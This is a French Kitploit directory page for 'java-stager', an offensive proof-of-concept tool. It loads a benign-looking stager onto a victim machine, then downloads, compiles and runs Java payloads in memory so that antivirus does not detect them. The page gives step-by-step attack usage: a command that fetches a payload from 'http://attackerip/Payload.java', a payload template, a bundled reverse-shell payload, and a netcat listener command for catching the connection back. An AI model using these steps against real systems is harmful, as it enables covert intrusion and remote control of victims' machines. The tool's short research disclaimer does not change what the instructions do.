Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
java-stager — Un PoC Java Stager qui peut télécharger, compiler et exécuter un fichier Java en mémoire. | Kitploit
Outils/GitHubGitHub/cornerpirate/java-stager
Criminalistique MémoireGénération de PayloadsAnalyse Dynamique de Code (DAST)ExploitationPost-ExploitationCommandement et ContrôleApprentissage et ÉducationRed TeamingOutil d'Accès à DistanceDéveloppement de Charges Utiles
GitHub
1073017il y a 8 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
cornerpirate/java-stager

java-stager

Un PoC Java Stager qui peut télécharger, compiler et exécuter un fichier Java en mémoire.

Voir le dépôt

java-stager

Un PoC Java Stager qui peut télécharger, compiler et exécuter un fichier Java en mémoire.

Ceci est uniquement à des fins de recherche, ne l'utilisez pas là où vous n'êtes pas autorisé à le faire.

Qu'est-ce que c'est ?

Ceci est basé sur le travail de James Williams dans sa présentation "Next Gen AV vs My Shitty Code" disponible ici :

https://www.youtube.com/watch?v=247m2dwLlO4&feature=youtu.be

Les points clés de la présentation pour moi sont :

  • Charger un Stager sur la victime (touche le disque, mais est un binaire bénin)
  • Le Stager télécharge du code brut via HTTP (qui reste en mémoire)
  • Le Stager compile le code brut (également en mémoire)
  • Le Stager exécute ensuite le code compilé (également en mémoire)

Son exemple est en .net, mais dans la présentation, il a suggéré que Java serait capable des mêmes techniques. J'ai implémenté un PoC brut qui, je pense, correspond aux techniques ci-dessus.

Utilisation

  • Clonez l'intégralité du dépôt.
  • Ouvrez-le dans un IDE compatible Maven (comme NetBeans).
  • Le Stager et l'exemple de payload sont disponibles dans le dossier "/src/main/java".
  • Modifiez le Stager comme vous le souhaitez et compilez le projet. J'utilisais "clean/build" dans le profil par défaut.

La sortie dans NetBeans incluait une ligne comme celle-ci :

Building jar: C:\Users\cornerpirate\Documents\NetBeansProjects\java-stager\target\JavaStager-0.1-initial.jar

Pour travailler sur votre victime, vous devez télécharger le fichier "JavaStager*.jar" et le dossier "lib" contenant Janino depuis le dossier "target".

La commande suivante exécutera le Stager :

java -jar JavaStager-0.1-initial.jar

Vous serez invité avec l'utilisation comme indiqué :

Proper Usage is: java -jar JavaStager-0.1-initial.jar <url>

Le "url" est le seul paramètre passé au Stager. Un exemple d'utilisation serait :

java -jar JavaStager-0.1-initial.jar http://attackerip/Payload.java

Votre payload doit être dans un fichier nommé "Payload.java" et votre code d'exploitation doit être dans une méthode statique appelée "Run". Ce qui suit montre le modèle si vous souhaitez écrire le vôtre :

root@kitploit:~
public class Payload {
   public static void Run() {
      // Your code here
   }
}

J'ai fourni un exemple de payload TCP reverse dans le fichier "TCPReverseShell.java". Pour éviter les conflits de noms, celui-ci n'est pas appelé "Payload.java" et le nom de la classe est incorrect. Le commentaire d'en-tête dans "TCPReverseShell.java" explique comment le modifier pour qu'il fonctionne.

Vous devrez héberger votre fichier "Payload.java" sur un serveur HTTP. Vous pouvez utiliser Apache si vous le souhaitez ou des services HTTP/HTTPS simples en Python2 et Python3 comme décrit dans mon blog :

https://cornerpirate.com/2016/12/16/simple-http-or-https-servers/

L'attaquant devra démarrer un écouteur netcat pour capturer la connexion retour en utilisant la technique standard nc -lvp 8044.

Plus d'informations

Article de blog expliquant comment tout fonctionne :

https://cornerpirate.com/2018/08/06/java-stager-hide-from-av-in-memory/

Vidéo montrant comment cela fonctionnait en pratique :

https://www.youtube.com/watch?v=-KkJVdSHPAc

Télécharger l’outil